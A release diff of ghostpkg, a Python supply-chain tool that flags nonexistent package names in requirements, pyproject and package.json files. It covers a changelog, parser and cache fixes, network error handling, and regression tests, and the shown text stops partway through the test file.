ghostpkg 0.6.0__tar.gz → 0.7.0__tar.gz

ghostpkg-0.7.0/2.0

@@ -0,0 +1 @@
+[REAL PIP] install requests flask

{ghostpkg-0.6.0 → ghostpkg-0.7.0}/CHANGELOG.md

@@ -6,6 +6,66 @@ this project uses [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
 
 ## [Unreleased]
 
+## [0.7.0] - 2026-09-01
+
+A correctness release. Several of these were **silent** failures -- the tool
+reported success having never performed the check, which for a security tool is
+worse than crashing. Found by a systematic audit rather than by users.
+
+### Fixed -- silent misses
+- **Every package whose name begins with `http` was dropped from
+  `requirements.txt`.** A filter meant to skip bare URLs matched names too, so
+  `httpx`, `httpcore`, `httplib2` and friends were never checked and the tool
+  still printed "all packages look fine". `httpx` is a top-100 PyPI project.
+- **`-r` and `-c` includes were ignored**, so a project that splits its
+  requirements across files was only half checked. Includes are now followed,
+  with cycle detection and a depth limit.
+
+### Fixed -- false blocks
+- **Direct references and private indexes.** `internal-lib @ git+https://...`
+  was read as the plain name `internal-lib`, which is absent from public PyPI,
+  so every internal package in a company using its own index was **blocked**.
+  Direct references, `--index-url`, editable installs, local paths and hashes
+  are now recognised and skipped.
+- **Any `.txt` file was parsed as requirements.** `README.txt` became the
+  package list `['Install', 'Run', 'numpy']` -- two confident blocks on prose.
+  Only `requirements*.txt`, `constraints*.txt` and `*.in` are accepted now, and
+  anything else is refused by name.
+- **`--deep` judged packages by install scripts they merely shipped.** Matching
+  `setup.py` by basename meant a package vendoring a dependency or including
+  packaging test fixtures was blocked on somebody else's code. Only the
+  archive's own top-level install script is read.
+
+### Fixed -- wrong exit codes and lost results
+- **A connection that failed mid-response escaped as a traceback and exited
+  `1`** -- the code meaning "a package does not exist". `urlopen` only wraps
+  failures that happen while connecting, so a stalled proxy or a reset
+  connection read as a confirmed detection. All lookup failures are now
+  `RegistryError`.
+- **One failed lookup discarded the entire scan**, including already-confirmed
+  blocks, and skipped the cache write so the inevitable retry re-issued every
+  request. Failures are now per-name, with a new `ERROR` verdict, and exit
+  code `2` -- an unchecked name is never a pass.
+- **`ghostpkg scan <directory>`** crashed with a traceback; it now explains
+  itself and exits `2`.
+
+### Fixed -- wrong answers
+- **npm cache keys collapsed case-distinct packages.** `JSONStream` and
+  `jsonstream` are two different real packages; lowercasing both into one key
+  served one package's facts for the other, including a wrong `exists`. Keys
+  are now normalised per ecosystem -- PEP 503 for PyPI, exact for npm.
+
+### Changed
+- **npm lookups now request gzip.** `@types/node` was 10.6 MB per lookup and is
+  now 1.35 MB; `react` went from 6.6 MB to 1.30 MB. Responses are also size-capped.
+- **Repeated names are looked up once.** Manifests repeat names, and following
+  includes makes that more likely.
+- `pyproject.toml` now reads PEP 735 `[dependency-groups]`, and Poetry group
+  dependencies are found on Python 3.9/3.10 as well as 3.11+.
+- `package.json` now reads `peerDependencies`.
+- The cache takes a lock around its counters and entry map, and its docstring
+  no longer claims threads only read from it -- they do not.
+
 ## [0.6.0] - 2026-09-01
 
 ### Fixed
@@ -184,7 +244,8 @@ First release.
 - No corpus of hallucinated package names is shipped, following the decision of
   the USENIX'25 authors not to publish theirs.
 
-[Unreleased]: https://github.com/M1rwana12/ghostpkg/compare/v0.6.0...HEAD
+[Unreleased]: https://github.com/M1rwana12/ghostpkg/compare/v0.7.0...HEAD
+[0.7.0]: https://github.com/M1rwana12/ghostpkg/releases/tag/v0.7.0
 [0.6.0]: https://github.com/M1rwana12/ghostpkg/releases/tag/v0.6.0
 [0.5.0]: https://github.com/M1rwana12/ghostpkg/releases/tag/v0.5.0
 [0.4.0]: https://github.com/M1rwana12/ghostpkg/releases/tag/v0.4.0

{ghostpkg-0.6.0 → ghostpkg-0.7.0}/PKG-INFO

@@ -1,6 +1,6 @@
 Metadata-Version: 2.5
 Name: ghostpkg
-Version: 0.6.0
+Version: 0.7.0
 Summary: Catch package names that do not exist before you install them
 Project-URL: Homepage, https://github.com/m1rwana12/ghostpkg
 Project-URL: Issues, https://github.com/m1rwana12/ghostpkg/issues

{ghostpkg-0.6.0 → ghostpkg-0.7.0}/ghostpkg/__init__.py

@@ -1,6 +1,6 @@
 """ghostpkg -- catch package names that do not exist before you install them."""
 
-__version__ = "0.6.0"
+__version__ = "0.7.0"
 
 from .assess import Finding, Verdict, assess
 from .registries import PackageFacts, RegistryError, fetch

{ghostpkg-0.6.0 → ghostpkg-0.7.0}/ghostpkg/assess.py

@@ -29,6 +29,10 @@ class Verdict(str, Enum):
     OK = "OK"
     WARN = "WARN"
     BLOCK = "BLOCK"
+    #: The registry could not be reached for this name. Never a pass: a
+    #: security check that silently succeeds when it could not run is worse
+    #: than no check at all.
+    ERROR = "ERROR"
 
 
 @dataclass
@@ -43,6 +47,10 @@ class Finding:
     def is_blocked(self) -> bool:
         return self.verdict is Verdict.BLOCK
 
+    @property
+    def is_error(self) -> bool:
+        return self.verdict is Verdict.ERROR
+
 
 def edit_distance(left: str, right: str, cutoff: int = 3) -> int:
     """Damerau-Levenshtein distance, abandoning early once it exceeds `cutoff`.

{ghostpkg-0.6.0 → ghostpkg-0.7.0}/ghostpkg/cache.py

@@ -17,8 +17,10 @@ from __future__ import annotations
 
 import json
 import os
+import re
 import sys
 import tempfile
+import threading
 import time
 from dataclasses import asdict
 from pathlib import Path
@@ -61,7 +63,15 @@ def ttl_for(facts: PackageFacts) -> int:
 
 
 class Cache:
-    """Read once, write once. Threads only read, so no locking is needed."""
+    """Loaded once, written once, read and updated from worker threads between.
+
+    `put` is called from the scan's thread pool, so this is not lock-free by
+    virtue of nobody mutating it -- an earlier version of this docstring
+    claimed that and was wrong. It is safe because `dict.__setitem__` is
+    atomic under the GIL and `save`/`_prune` only run after the pool has shut
+    down. The lock exists so that stops being load-bearing on free-threaded
+    builds, where that guarantee does not hold.
+    """
 
     def __init__(self, directory: Path | None = None, enabled: bool = True) -> None:
         self.enabled = enabled
@@ -70,6 +80,7 @@ class Cache:
         self._dirty = False
         self.hits = 0
         self.misses = 0
+        self._lock = threading.Lock()
         if self.enabled:
             self._load()
 
@@ -90,44 +101,62 @@ class Cache:
 
     @staticmethod
     def _key(ecosystem: str, name: str) -> str:
-        return f"{ecosystem}:{name.lower()}"
+        """Normalise per ecosystem, because they do not agree.
+
+        PyPI names are case-insensitive and treat `-`, `_` and `.` as the same
+        separator (PEP 503), so `zope.interface` and `Zope_Interface` are one
+        package. npm names are case-sensitive, and `JSONStream` and `jsonstream`
+        are two different real packages -- lowercasing both into one key served
+        one package's facts for the other, including a wrong `exists`.
+        """
+        if ecosystem == "pypi":
+            return f"pypi:{re.sub(r'[-_.]+', '-', name).lower()}"
+        return f"{ecosystem}:{name}"
 
     def get(self, ecosystem: str, name: str) -> PackageFacts | None:
         if not self.enabled:
             return None
-        entry = self._entries.get(self._key(ecosystem, name))
+        with self._lock:
+            entry = self._entries.get(self._key(ecosystem, name))
         if not isinstance(entry, dict):
-            self.misses += 1
+            self._miss()
             return None
         stored_at = entry.get("at")
         ttl = entry.get("ttl")
         facts = entry.get("facts")
         if not isinstance(stored_at, (int, float)) or not isinstance(ttl, (int, float)):
-            self.misses += 1
+            self._miss()
             return None
         if time.time() - stored_at > ttl:
-            self.misses += 1
+            self._miss()
             return None
         try:
             revived = PackageFacts(**facts)
         except (TypeError, ValueError):
-            self.misses += 1
+            self._miss()
             return None
-        self.hits += 1
+        with self._lock:
+            self.hits += 1
         # keep the caller's spelling of the name rather than the cached one
         if revived.name != name:
             revived = PackageFacts(**{**asdict(revived), "name": name})
         return revived
 
+    def _miss(self) -> None:
+        with self._lock:
+            self.misses += 1
+
     def put(self, facts: PackageFacts) -> None:
         if not self.enabled:
             return
-        self._entries[self._key(facts.ecosystem, facts.name)] = {
+        entry = {
             "at": time.time(),
             "ttl": ttl_for(facts),
             "facts": asdict(facts),
         }
-        self._dirty = True
+        with self._lock:
+            self._entries[self._key(facts.ecosystem, facts.name)] = entry
+            self._dirty = True
 
     def _prune(self) -> None:
         now = time.time()

{ghostpkg-0.6.0 → ghostpkg-0.7.0}/ghostpkg/cli.py

@@ -51,6 +51,7 @@ class Palette:
 
 MARKS = {
     Verdict.BLOCK: ("BLOCKED", "red"),
+    Verdict.ERROR: ("ERROR", "red"),
     Verdict.WARN: ("WARNING", "yellow"),
     Verdict.OK: ("ok", "green"),
 }
@@ -80,14 +81,18 @@ def render(findings: list[Finding], palette: Palette, quiet: bool) -> None:
 def summarise(findings: list[Finding], palette: Palette) -> None:
     blocked = [f for f in findings if f.verdict is Verdict.BLOCK]
     warned = [f for f in findings if f.verdict is Verdict.WARN]
+    errored = [f for f in findings if f.verdict is Verdict.ERROR]
 
     print()
     if blocked:
         names = ", ".join(f.name for f in blocked)
         print(palette.red(f"  {len(blocked)} blocked: {names}"))
+    if errored:
+        names = ", ".join(f.name for f in errored)
+        print(palette.red(f"  {len(errored)} could not be checked: {names}"))
     if warned:
         print(palette.yellow(f"  {len(warned)} to review by hand"))
-    if not blocked and not warned:
+    if not blocked and not warned and not errored:
         print(palette.green(f"  all {len(findings)} packages look fine"))
 
 
@@ -99,11 +104,24 @@ def evaluate(
     deep: bool = False,
 ) -> list[Finding]:
     def one(name: str) -> Finding:
-        facts = cache.get(ecosystem, name) if cache else None
-        if facts is None:
-            facts = fetch(name, ecosystem)
-            if cache:
-                cache.put(facts)
+        # A failure on one name must not discard the whole scan. It used to:
+        # pool.map re-raised the first exception while iterating, throwing away
+        # every confirmed BLOCK alongside it and skipping the cache write, so
+        # the inevitable retry re-issued every lookup and made a rate-limit
+        # response self-amplifying.
+        try:
+            facts = cache.get(ecosystem, name) if cache else None
+            if facts is None:
+                facts = fetch(name, ecosystem)
+                if cache:
+                    cache.put(facts)
+        except RegistryError as exc:
+            return Finding(
+                name=name,
+                ecosystem=ecosystem,
+                verdict=Verdict.ERROR,
+                reasons=[f"could not check: {exc}"],
+            )
 
         signals = None
         # Only young packages are worth the download: a registered slopsquat is
@@ -124,11 +142,14 @@ def evaluate(
 
         return assess(facts, strict=strict, signals=signals)
 
+    # Look each distinct name up once. A manifest can repeat a name, and
+    # following -r includes makes that more likely.
+    unique = list(dict.fromkeys(names))
     with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
-        findings = list(pool.map(one, names))
+        results = dict(zip(unique, pool.map(one, unique)))
     if cache:
         cache.save()
-    return findings
+    return [results[name] for name in names]
 
 
 def build_parser() -> argparse.ArgumentParser:
@@ -186,12 +207,18 @@ def main(argv: list[str] | None = None) -> int:
         if not args.path.exists():
             print(f"ghostpkg: no such file: {args.path}", file=sys.stderr)
             return EXIT_ERROR
+        if args.path.is_dir():
+            print(
+                f"ghostpkg: {args.path} is a directory; pass a manifest file",
+                file=sys.stderr,
+            )
+            return EXIT_ERROR
         try:
             names, ecosystem = load_manifest(args.path)
         except UnsupportedManifest as exc:
             print(f"ghostpkg: {exc}", file=sys.stderr)
             return EXIT_ERROR
-        except (json.JSONDecodeError, UnicodeDecodeError, ValueError) as exc:
+        except (json.JSONDecodeError, UnicodeDecodeError, ValueError, OSError) as exc:
             print(f"ghostpkg: could not parse {args.path}: {exc}", file=sys.stderr)
             return EXIT_ERROR
         if not names:
@@ -201,11 +228,7 @@ def main(argv: list[str] | None = None) -> int:
         names, ecosystem = args.names, args.ecosystem
 
     cache = Cache(enabled=not args.no_cache)
-    try:
-        findings = evaluate(names, ecosystem, args.strict, cache, args.deep)
-    except RegistryError as exc:
-        print(f"ghostpkg: {exc}", file=sys.stderr)
-        return EXIT_ERROR
+    findings = evaluate(names, ecosystem, args.strict, cache, args.deep)
 
     if args.json:
         print(
@@ -227,7 +250,12 @@ def main(argv: list[str] | None = None) -> int:
         render(findings, palette, args.quiet)
         summarise(findings, palette)
 
-    return EXIT_BLOCKED if any(f.is_blocked for f in findings) else EXIT_OK
+    if any(f.is_blocked for f in findings):
+        return EXIT_BLOCKED
+    # An unchecked name is not a pass.
+    if any(f.is_error for f in findings):
+        return EXIT_ERROR
+    return EXIT_OK
 
 
 if __name__ == "__main__":

{ghostpkg-0.6.0 → ghostpkg-0.7.0}/ghostpkg/inspection.py

@@ -146,7 +146,20 @@ def _read_member(handle, member, size: int) -> str | None:
 
 
 def _interesting(path: str, ecosystem: str) -> bool:
-    name = path.rsplit("/", 1)[-1]
+    """Only the archive's own install script, never a nested one.
+
+    Matching on the basename alone meant a package that ships packaging test
+    fixtures or vendors a dependency was judged on somebody else's
+    `setup.py` -- and since install signals block a young package, that was
+    the one false-positive path in the blocking logic.
+
+    Both ecosystems put the real one exactly one directory down:
+    `<name>-<version>/setup.py` for an sdist, `package/package.json` for npm.
+    """
+    parts = path.strip("/").split("/")
+    if len(parts) != 2:
+        return False
+    name = parts[1]
     if ecosystem == "npm":
         return name == "package.json"
     return name in PY_INSTALL_FILES

ghostpkg-0.7.0/ghostpkg/manifests.py

@@ -0,0 +1,294 @@
+"""Manifest parsing.
+
+Each format is recognised explicitly. Guessing is what made an earlier version
+read `pyproject.toml` with the requirements.txt parser and report TOML keys as
+package names -- `build-backend` came back "does not exist", `version` came back
+"ok" because a package of that name exists. A security tool that confidently
+reports nonsense is worse than one that refuses to run.
+
+Two later bugs came from the same root cause, filtering by prefix instead of by
+structure:
+
+* Skipping lines that start with `http` was meant to drop bare URLs. It also
+  dropped `httpx`, `httpcore` and `httplib2` -- silently, so the tool reported
+  "all packages look fine" having never checked them.
+* Treating every `.txt` file as a requirements file turned `README.txt` into
+  the package list `['Install', 'Run', 'numpy']`, two of which do not exist.
+"""
+
+from __future__ import annotations
+
+import json
+import re
+from pathlib import Path
+
+# PEP 508 name: letter/digit at each end, dots/hyphens/underscores inside.
+NAME = re.compile(r"^([A-Za-z0-9][A-Za-z0-9._-]*)")
+
+# `name @ https://...` is a direct reference: the source is stated explicitly
+# and is not the public registry, so there is nothing for us to check.
+DIRECT_REFERENCE = re.compile(r"^\s*[A-Za-z0-9][A-Za-z0-9._-]*\s*(\[[^\]]*\])?\s*@\s")
+
+REQUIREMENTS_NAMES = ("requirements", "constraints", "dev-requirements", "test-requirements")
+
+SUPPORTED = "requirements*.txt, *.in, pyproject.toml, package.json"
+
+MAX_INCLUDE_DEPTH = 10
+
+
+class UnsupportedManifest(ValueError):
+    """The file is not a manifest ghostpkg knows how to read."""
+
+
+def _is_url(text: str) -> bool:
+    return "://" in text
+
+
+def parse_requirements(
+    text: str,
+    *,
+    base: Path | None = None,
+    _seen: set[Path] | None = None,
+    _depth: int = 0,
+) -> list[str]:
+    """Package names from a requirements file.
+
+    Follows `-r` / `--requirement` includes when `base` is given, because a
+    requirements file that pulls in `base.txt` was otherwise only half checked.
+    """
+    seen = _seen if _seen is not None else set()
+    names: list[str] = []
+
+    for raw in text.splitlines():
+        line = raw.strip()
+        if not line or line.startswith("#"):
+            continue
+
+        # Strip an inline comment, but only when it is preceded by whitespace --
+        # a `#` can legitimately appear inside a URL fragment.
+        if " #" in line:
+            line = line.split(" #", 1)[0].strip()
+        if not line:
+            continue
+
+        if line.startswith("-"):
+            include = _include_target(line)
+            if include and base is not None and _depth < MAX_INCLUDE_DEPTH:
+                names.extend(_read_include(include, base, seen, _depth))
+            continue
+
+        # A bare URL or local path, not a name we can look up.
+        if _is_url(line) or line.startswith((".", "/", "~")):
+            continue
+        # `name @ url` states its own source; the registry has no say.
+        if DIRECT_REFERENCE.match(line):
+            continue
+
+        match = NAME.match(line)
+        if match:
+            names.append(match.group(1))
+
+    return names
+
+
+def _include_target(line: str) -> str | None:
+    """The path from a `-r file` / `--requirement=file` / `-c file` line."""
+    for flag in ("--requirement", "--constraint", "-r", "-c"):
+        if line == flag or line.startswith(flag + "="):
+            return line[len(flag) + 1 :].strip() or None
+        if line.startswith(flag + " "):
+            return line[len(flag) :].strip() or None
+    return None
+
+
+def _read_include(target: str, base: Path, seen: set[Path], depth: int) -> list[str]:
+    if _is_url(target):
+        return []
+    try:
+        path = (base / target).resolve()
+    except (OSError, ValueError):
+        return []
+    if path in seen or not path.is_file():
+        return []
+    seen.add(path)
+    try:
+        text = path.read_text(encoding="utf-8")
+    except (OSError, UnicodeDecodeError):
+        return []
+    return parse_requirements(text, base=path.parent, _seen=seen, _depth=depth + 1)
+
+
+def parse_package_json(text: str) -> list[str]:
+    data = json.loads(text)
+    if not isinstance(data, dict):
+        raise ValueError("package.json does not contain an object")
+    names: list[str] = []
+    for key in ("dependencies", "devDependencies", "optionalDependencies", "peerDependencies"):
+        section = data.get(key)
+        if isinstance(section, dict):
+            names.extend(str(name) for name in section)
+    seen: set[str] = set()
+    return [n for n in names if not (n in seen or seen.add(n))]
+
+
+def _requirement_name(spec: str) -> str | None:
+    spec = spec.strip()
+    if not spec or spec.startswith(("#", "-")):
+        return None
+    if _is_url(spec) or DIRECT_REFERENCE.match(spec):
+        return None
+    match = NAME.match(spec)
+    return match.group(1) if match else None
+
+
+def _toml_arrays(text: str, table: str, key: str) -> list[str]:
+    """Read a string array out of one TOML table without a TOML parser.
+
+    Only the shapes dependency declarations use are handled. This exists
+    because tomllib is 3.11+ and ghostpkg supports 3.9 with no dependencies.
+    """
+    current = ""
+    collected: list[str] = []
+    depth = 0
+    buffer = ""
+
+    for raw in text.splitlines():
+        line = raw.strip()
+        if depth == 0:
+            if line.startswith("[") and line.endswith("]"):
+                current = line[1:-1].strip().strip('"')
+                continue
+            if current != table:
+                continue
+            stripped = line.split("#", 1)[0].strip()
+            if not stripped.startswith(key):
+                continue
+            after = stripped[len(key) :].lstrip()
+            if not after.startswith("="):
+                continue
+            buffer = after[1:].strip()
+            if not buffer.startswith("["):
+                continue
+            depth = 1
+            buffer = buffer[1:]
+        else:
+            buffer += " " + line.split("#", 1)[0].strip()
+
+        if depth and "]" in buffer:
+            buffer = buffer[: buffer.index("]")]
+            depth = 0
+            collected.extend(re.findall(r'["\']([^"\']+)["\']', buffer))
+            buffer = ""
+    return collected
+
+
+def _toml_table_keys(text: str, table: str) -> list[str]:
+    keys: list[str] = []
+    current = ""
+    for raw in text.splitlines():
+        line = raw.split("#", 1)[0].strip()
+        if line.startswith("[") and line.endswith("]"):
+            current = line[1:-1].strip().strip('"')
+            continue
+        if current != table or "=" not in line:
+            continue
+        name = line.split("=", 1)[0].strip().strip('"').strip("'")
+        if name:
+            keys.append(name)
+    return keys
+
+
+def _poetry_names(section: dict) -> list[str]:
+    # `python` is an interpreter constraint, not a package.
+    return [name for name in section if name.lower() != "python"]
+
+
+def parse_pyproject(text: str) -> list[str]:
+    """Dependencies from PEP 621, PEP 735 and Poetry."""
+    try:
+        import tomllib  # noqa: PLC0415
+    except ImportError:
+        tomllib = None  # type: ignore[assignment]
+
+    names: list[str] = []
+
+    if tomllib is not None:
+        data = tomllib.loads(text)
+        project = data.get("project") or {}
+        for spec in project.get("dependencies") or []:
+            name = _requirement_name(str(spec))
+            if name:
+                names.append(name)
+        for group in (project.get("optional-dependencies") or {}).values():
+            for spec in group:
+                name = _requirement_name(str(spec))
+                if name:
+                    names.append(name)
+        # PEP 735, where uv and pip put dev dependencies.
+        for group in (data.get("dependency-groups") or {}).values():
+            if isinstance(group, list):
+                for spec in group:
+                    if isinstance(spec, str):
+                        name = _requirement_name(spec)
+                        if name:
+                            names.append(name)
+        poetry = (data.get("tool") or {}).get("poetry") or {}
+        for section in ("dependencies", "dev-dependencies"):
+            if isinstance(poetry.get(section), dict):
+                names.extend(_poetry_names(poetry[section]))
+        for group in (poetry.get("group") or {}).values():
+            if isinstance(group, dict) and isinstance(group.get("dependencies"), dict):
+                names.extend(_poetry_names(group["dependencies"]))
+    else:
+        for spec in _toml_arrays(text, "project", "dependencies"):
+            name = _requirement_name(spec)
+            if name:
+                names.append(name)
+        for table in ("project.optional-dependencies", "dependency-groups"):
+            for key in _toml_table_keys(text, table):
+                for spec in _toml_arrays(text, table, key):
+                    name = _requirement_name(spec)
+                    if name:
+                        names.append(name)
+        # Poetry groups live in their own tables; find them by scanning headers.
+        poetry_tables = ["tool.poetry.dependencies", "tool.poetry.dev-dependencies"]
+        for raw in text.splitlines():
+            line = raw.split("#", 1)[0].strip()
+            if (
+                line.startswith("[tool.poetry.group.")
+                and line.endswith(".dependencies]")
+            ):
+                poetry_tables.append(line[1:-1])
+        for table in poetry_tables:
+            names.extend(
+                name for name in _toml_table_keys(text, table) if name.lower() != "python"
+            )
+
+    seen: set[str] = set()
+    return [n for n in names if not (n in seen or seen.add(n))]
+
+
+def _looks_like_requirements(name: str) -> bool:
+    stem = name.rsplit(".", 1)[0]
+    if name.endswith(".in"):
+        return True
+    if not name.endswith(".txt"):
+        return False
+    return any(word in stem for word in REQUIREMENTS_NAMES)
+
+
+def load_manifest(path: Path) -> tuple[list[str], str]:
+    """Return (package names, ecosystem). Raises UnsupportedManifest."""
+    name = path.name.lower()
+
+    if name == "package.json":
+        return parse_package_json(path.read_text(encoding="utf-8")), "npm"
+    if name == "pyproject.toml":
+        return parse_pyproject(path.read_text(encoding="utf-8")), "pypi"
+    if _looks_like_requirements(name):
+        text = path.read_text(encoding="utf-8")
+        return parse_requirements(text, base=path.parent), "pypi"
+
+    raise UnsupportedManifest(
+        f"don't know how to read {path.name!r}. Supported: {SUPPORTED}"
+    )

{ghostpkg-0.6.0 → ghostpkg-0.7.0}/ghostpkg/registries.py

@@ -6,6 +6,7 @@ so this module deliberately uses urllib rather than requests.
 
 from __future__ import annotations
 
+import gzip
 import json
 import urllib.error
 import urllib.parse
@@ -16,6 +17,10 @@ from datetime import datetime, timezone
 USER_AGENT = "ghostpkg/0.1 (+https://github.com/m1rwana12/ghostpkg)"
 TIMEOUT = 15
 
+# npm serves whole packuments: @types/node is 11 MB uncompressed and 1.4 MB
+# gzipped, and parsing the uncompressed form peaks around 60 MB of objects.
+MAX_RESPONSE_BYTES = 32 * 1024 * 1024
+
 
 class RegistryError(RuntimeError):
     """The registry could not be reached or returned something unusable."""
@@ -39,19 +44,34 @@ class PackageFacts:
 
 
 def _get_json(url: str) -> dict | None:
-    """Fetch and decode JSON. Returns None on a clean 404."""
-    request = urllib.request.Request(url, headers={"User-Agent": USER_AGENT})
+    """Fetch and decode JSON. Returns None on a clean 404.
+
+    Everything that is not a clean 404 becomes a RegistryError. That matters
+    more than it looks: urlopen only wraps failures that happen while
+    *connecting*, so a stalled or reset connection during `read()` used to
+    escape as a bare TimeoutError or ConnectionResetError, leave a traceback,
+    and exit 1 -- the code that means "a package does not exist". The most
+    ordinary network flakiness read as a confirmed detection.
+    """
+    request = urllib.request.Request(
+        url, headers={"User-Agent": USER_AGENT, "Accept-Encoding": "gzip"}
+    )
     try:
         with urllib.request.urlopen(request, timeout=TIMEOUT) as response:
-            return json.loads(response.read().decode("utf-8"))
+            raw = response.read(MAX_RESPONSE_BYTES + 1)
+            if len(raw) > MAX_RESPONSE_BYTES:
+                raise RegistryError(f"{url} returned more than {MAX_RESPONSE_BYTES} bytes")
+            if response.headers.get("Content-Encoding") == "gzip":
+                raw = gzip.decompress(raw)
+        return json.loads(raw.decode("utf-8"))
     except urllib.error.HTTPError as exc:
         if exc.code == 404:
             return None
         raise RegistryError(f"{url} returned HTTP {exc.code}") from exc
-    except urllib.error.URLError as exc:
-        raise RegistryError(f"could not reach {url}: {exc.reason}") from exc
-    except json.JSONDecodeError as exc:
-        raise RegistryError(f"{url} returned malformed JSON") from exc
+    except RegistryError:
+        raise
+    except Exception as exc:  # noqa: BLE001 - anything else is "lookup failed"
+        raise RegistryError(f"could not read {url}: {exc}") from exc
 
 
 def _age_in_days(iso_timestamp: str) -> int | None:

{ghostpkg-0.6.0 → ghostpkg-0.7.0}/pyproject.toml

@@ -4,7 +4,7 @@ build-backend = "hatchling.build"
 
 [project]
 name = "ghostpkg"
-version = "0.6.0"
+version = "0.7.0"
 description = "Catch package names that do not exist before you install them"
 readme = "README.en.md"  # English page for PyPI; the repo main page is Ukrainian
 requires-python = ">=3.9"

ghostpkg-0.7.0/tests/test_regressions.py

@@ -0,0 +1,244 @@
+"""Regressions from the production-readiness audit.
+
+Each test here corresponds to a bug that shipped. Several of them were silent:
+the tool reported success having never performed the check, which for a
+security tool is worse than crashing.
+"""
+
+from __future__ import annotations
+
+import io
+import json
+import tarfile
+import threading
+
+import pytest
+
+from ghostpkg.assess import Verdict
+from ghostpkg.cache import Cache
+from ghostpkg.cli import evaluate, main
+from ghostpkg.inspection import inspect_archive
+from ghostpkg.manifests import (
+    UnsupportedManifest,
+    load_manifest,
+    parse_package_json,
+    parse_requirements,
+)
+from ghostpkg.registries import PackageFacts, RegistryError
+
+
+class TestPrefixFilterDroppedRealPackages:
+    """Lines starting with `http` were skipped to drop bare URLs. That also
+    dropped `httpx`, `httpcore` and `httplib2` -- silently."""
+
+    @pytest.mark.parametrize("name", ["httpx", "httpcore", "httplib2", "httpretty"])
+    def test_http_prefixed_names_are_kept(self, name):
+        assert parse_requirements(f"{name}==1.0\n") == [name]
+
+    def test_bare_urls_are_still_skipped(self):
+        text = "https://example.com/pkg-1.0.tar.gz\nrequests\n"
+        assert parse_requirements(text) == ["requests"]
+
+
+class TestDirectReferencesAndPrivateIndexes:
+    """`name @ url` states its own source, so the public registry has no say.
+    Treating it as a plain name blocked every internal package a company had."""
+
+    def test_direct_reference_is_skipped(self):
+        text = "internal-lib @ git+https://github.com/acme/internal-lib\nrequests\n"
+        assert parse_requirements(text) == ["requests"]
+
+    def test_direct_reference_with_extras_is_skipped(self):
+        assert parse_requirements("internal[all] @ https://x/y.whl\n") == []
+
+    @pytest.mark.parametrize(
+        "line",
+        [
+            "--index-url https://pypi.acme.internal/simple",
+            "--extra-index-url https://other/simple",
+            "-e .",
+            "--hash=sha256:abc123",
+            "./local-dir",
+        ],
+    )
+    def test_option_and_path_lines_are_skipped(self, line):
+        assert parse_requirements(f"{line}\nrequests\n") == ["requests"]
+
+
+class TestManifestDetection:
+    """`README.txt` parsed as requirements yielded ['Install', 'Run', 'numpy'],
+    two of which do not exist -- confident nonsense from a security tool."""
+
+    def test_arbitrary_txt_is_refused(self, tmp_path):
+        path = tmp_path / "README.txt"
+        path.write_text("Install ghostpkg today.\nRun the scanner\n", encoding="utf-8")
+        with pytest.raises(UnsupportedManifest):
+            load_manifest(path)
+
+    @pytest.mark.parametrize(
+        "filename",
+        [
+            "requirements.txt",
+            "requirements-dev.txt",
+            "dev-requirements.txt",
+            "constraints.txt",
+            "reqs.in",
+        ],
+    )
+    def test_real_requirements_filenames_are_accepted(self, tmp_path, filename):
+        path = tmp_path / filename
+        path.write_text("requests\n", encoding="utf-8")
+        assert load_manifest(path) == (["requests"], "pypi")
+
+
+class TestIncludesAreFollowed:
+    """`-r base.txt` was dropped, so half a project went unchecked."""
+
+    def test_include_is_read(self, tmp_path):
+        (tmp_path / "base.txt").write_text("flask\njinja2\n", encoding="utf-8")
+        (tmp_path / "requirements.txt").write_text("-r base.txt\nrequests\n", encoding="utf-8")
+        names, _ = load_manifest(tmp_path / "requirements.txt")
+        assert set(names) == {"flask", "jinja2", "requests"}
+
+    def test_constraint_include_is_read(self, tmp_path):
+        (tmp_path / "c.txt").write_text("pinned-thing\n", encoding="utf-8")
+        (tmp_path / "requirements.txt").write_text("-c c.txt\n", encoding="utf-8")
+        assert load_manifest(tmp_path / "requirements.txt")[0] == ["pinned-thing"]
+
+    def test_a_cycle_terminates(self, tmp_path):
+        (tmp_path / "requirements.txt").write_text("-r other.txt\na\n", encoding="utf-8")
+        (tmp_path / "other.txt").write_text("-r requirements.txt\nb\n", encoding="utf-8")
+        names, _ = load_manifest(tmp_path / "requirements.txt")
+        assert set(names) == {"a", "b"}
+
+    def test_a_missing_include_is_ignored(self, tmp_path):
+        (tmp_path / "requirements.txt").write_text("-r nope.txt\nrequests\n", encoding="utf-8")
+        assert load_manifest(tmp_path / "requirements.txt")[0] == ["requests"]
+
+
+class TestOneFailureDoesNotDiscardTheScan:
+    """pool.map re-raised the first error while iterating, throwing away every
+    confirmed BLOCK with it and skipping the cache write entirely."""
+
+    def test_confirmed_blocks_survive_a_failure(self, monkeypatch):
+        def fake_fetch(name, ecosystem):
+            if name == "boom":
+                raise RegistryError("HTTP 429")
+            return PackageFacts(name=name, ecosystem=ecosystem, exists=name != "ghost")
+
+        monkeypatch.setattr("ghostpkg.cli.fetch", fake_fetch)
+        findings = evaluate(["a", "ghost", "boom", "b"], "pypi", strict=False, cache=None)
+
+        by_name = {f.name: f.verdict for f in findings}
+        assert by_name["ghost"] is Verdict.BLOCK
+        assert by_name["boom"] is Verdict.ERROR
+        assert by_name["a"] is Verdict.OK
+
+    def test_an_unchecked_name_is_never_a_pass(self, monkeypatch):
+        monkeypatch.setattr(
+            "ghostpkg.cli.fetch",
+            lambda name, ecosystem: (_ for _ in ()).throw(RegistryError("offline")),
+        )
+        assert main(["check", "requests", "--no-cache"]) == 2
+
+    def test_repeated_names_are_looked_up_once(self, monkeypatch):
+        calls = []
+
+        def fake_fetch(name, ecosystem):
+            calls.append(name)
+            return PackageFacts(name=name, ecosystem=ecosystem, exists=True)
+
+        monkeypatch.setattr("ghostpkg.cli.fetch", fake_fetch)
+        findings = evaluate(["requests"] * 8, "pypi", strict=False, cache=None)
+        assert calls == ["requests"]
+        assert len(findings) == 8
+
+
+class TestCacheKeysPerEcosystem:
+    """npm names are case-sensitive; PyPI names are not. One lowercased key
+    served `JSONStream`'s facts for `jsonstream` -- two different real
+    packages, so a wrong `exists` and a wrong verdict."""
+
+    def facts(self, name, ecosystem):
+        return PackageFacts(
+            name=name, ecosystem=ecosystem, exists=True,
+            age_days=4000, release_count=30, has_repo_url=True,
+        )
+
+    def test_npm_names_stay_distinct(self, tmp_path):
+        cache = Cache(directory=tmp_path)
+        cache.put(self.facts("JSONStream", "npm"))
+        assert cache.get("npm", "jsonstream") is None
+
